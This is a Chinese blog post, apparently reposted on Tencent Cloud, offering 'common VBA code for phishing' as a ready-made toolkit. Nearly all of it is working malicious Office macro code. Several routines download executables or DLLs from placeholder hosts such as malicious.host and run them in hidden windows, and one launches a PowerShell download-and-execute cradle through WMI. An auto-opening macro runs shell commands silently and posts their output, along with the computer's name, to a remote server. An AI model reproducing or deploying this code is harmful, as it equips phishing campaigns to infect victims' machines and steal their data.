专栏首页鸿鹄实验室钓鱼常用的vba代码

钓鱼常用的vba代码

点击上方蓝字关注我们

下载并执行程序

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If
    
End Sub

可使用下面的语句增加隐蔽性:

If Dir(localPath, vbHidden + vbSystem) = "" Then

释放并执行DLL

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke
    End If
End Sub

执行powersehll

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

或者:

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;
Dim serverUrl As String

' Auto generate at startup
Sub Workbook_Open()
    Main
End Sub
Sub AutoOpen()
    Main
End Sub

Private Sub Main()
    Dim msg As String
    serverUrl = "<<<TEMPLATE>>>"
   	msg = "<<<TEMPLATE>>>"
   	On Error GoTo byebye
    msg = PlayCmd(msg)
    SendResponse msg
    On Error GoTo 0
    byebye:
End Sub

'Sen data using http post'
'Note:
'WinHttpRequestOption_SslErrorIgnoreFlags, // 4
' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx'
Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"'
    Dim objHTTP As Object
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
    objHTTP.Option(4) = 13056  ' Ignore cert errors because self signed cert
    objHTTP.Open "POST", URL, False
    objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
    objHTTP.SetTimeouts 2000, 2000, 2000, 2000
    objHTTP.send (data)
    HttpPostData = objHTTP.responseText
End Function

' Returns target ID'
Private Function GetId() As String
    Dim myInfo As String
    Dim myID As String
    myID = Environ("COMPUTERNAME") & " " & Environ("OS")
    GetId = myID
End Function

'To send response for command'
Private Function SendResponse(cmdOutput)
    Dim data As String
    Dim response As String
    data = "id=" & GetId & "&cmdOutput=" & cmdOutput
    SendResponse = HttpPostData(serverUrl, data)
End Function

' Play and return output any command line
Private Function PlayCmd(sCmd As String) As String
    'Run a shell command, returning the output as a string'
    ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility...
    ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows
    Dim instruction As String
    instruction = "cmd.exe /c " & sCmd & " | clip"
    CreateObject("WScript.Shell").Run instruction, 0, True
    ' Read the clipboard text using htmlfile object
    PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text")
End Function

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 红队 | CS加载宏上线初探

    邮件钓鱼通常出现在APT攻击里面,但是在日常生活中我们的邮箱也会经常出现一些钓鱼邮件,为了更好的了解原理,我在本地探索了一下宏上线钓鱼邮件,分享出来供师傅们交流...

    HACK学习
  • Excel文档暗藏危机?黑客利用.NET库生成恶意文件可绕过安全检测

    Excel文档是十分常见的办公软件,一旦被黑客盯上,足以让大批量的用户中招。用相同的Excel文档混淆用户视线,表面“波澜不惊”,实则“暗藏危机”。

    FB客服
  • 钓鱼免杀?Miss?怎么可能?

    在红蓝对抗或者国家某活动中,钓鱼是红队比较常见的攻击手段。通常的钓鱼手段包括exe文件的投递,自解压文件的投递,office系文件的投递等等。这几种文件投递的方...

    用户2202688
  • ASRC 2021 年第二季度电子邮件安全观察

    由于疫苗的开发与大量普及,疫情的阴霾,终于露出了一线曙光。许多地区开始解封,世界开始流动,就在此时,变种病毒对疫苗的抗性产生了变化,让原本开始解封的地区又拉起警...

    FB客服
  • Excel 旧用户正成为恶意软件的目标

    根据安全专家的最新发现,Microsoft Excel的旧用户正成为恶意软件的攻击目标。这种恶意软件攻击活动使用了一种新的恶意软件混淆技术来禁用Microsof...

    FB客服
  • 攻防演练对抗赛之初识文件钓鱼

    今年参加了几次攻防演练对抗赛,其它队伍依靠社工结合文件钓鱼得了不少分,自己之前并没有相关知识的积累,因此在这个方面吃了一些亏。

    FB客服
  • 贼心不死,海莲花APT组织一季度攻击活动揭秘

    “海莲花”(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国的敏感目标进行攻击活动,是近几年来针对中...

    FB客服
  • ASRC 2021 年第一季电子邮件安全观察

    2021第一季,疫情的影响似乎稍微趋缓,各国开始施打疫苗,为疫情的终结带来一线曙光。一月及二月份,垃圾邮件与威胁邮件相较于去年第四季的状况都是较为趋缓的;三月份...

    FB客服
  • Red Team 工具集之攻击武器库

    上图是一个 Red Team 攻击的生命周期,整个生命周期包括:信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(在这个基础上...

    信安之路
  • Office如何快速进行宏免杀

    Office 宏,译自英文单词 Macro。宏是 Office 自带的一种高级脚本特性,通过 VBA 代码, 可以在 Office 中去完成某项特定的任务,而不...

    HACK学习
  • ​cobaltstrike使用笔记

    关于工具使用,我想说的是,工具使用很简单,难的是在实战中的灵活使用,高手的渗透一般不局限于某种工具,重要的是思维。

    用户5878089
  • 攻击技术研判-攻击者结合NDay投递VBA恶意远控分析

    Malwarebytes的研究人员发现有攻击者在近期的攻击活动中使用CVE-2021-26411部署了功能齐全的VBA RAT,本文对其中包含的攻击技术进行了分...

    C4rpeDime
  • 伊组织对美发起新一轮攻击

    研究人员近期发现了APT34利用新工具集进行的网络活动。根据此次发现的网络钓鱼文件,伊朗黑客组织将美国Westat员工或Westat提供服务的组织作为攻击目标。...

    FB客服
  • 干货 | 如何编写Word宏木马

    宏就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命...

    HACK学习
  • 利用Office实现简单钓鱼

    回到正轨,我们打开了Visul Basic,找到ThisDocument,并将msf生成的代码复制进去保存,如下:

    Gcow安全团队
  • 利用Office实现简单钓鱼

    回到正轨,我们打开了Visul Basic,找到ThisDocument,并将msf生成的代码复制进去保存,如下:

    黑白天安全
  • 钓鱼钓鱼是攻击计算机的最常用的技术

    研究人员在分析了数十亿次攻击后警告说,Microsoft Office宏,PowerShell等仍在通过网络钓鱼电子邮件分发攻击的网络罪犯中很受...

    Khan安全团队
  • 南海网络谍影 | F-Secure报告之木马NanHaiShu分析

    声明:本文为F-Secure报告翻译,文中及的观点立场不代表本网站观点立场。 ? 1. 前言 本报告描述了我们发现并命名的木马-NanHaiShu(NanH...

    FB客服
  • 11.反恶意软件扫描接口 (AMSI)

    Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,可以集成在应用程序和服务与机器上存在的任何反恶意软件产品中。可以增强杀毒软件的查杀能力。

    黑白天安全

扫码关注云+社区

领取腾讯云代金券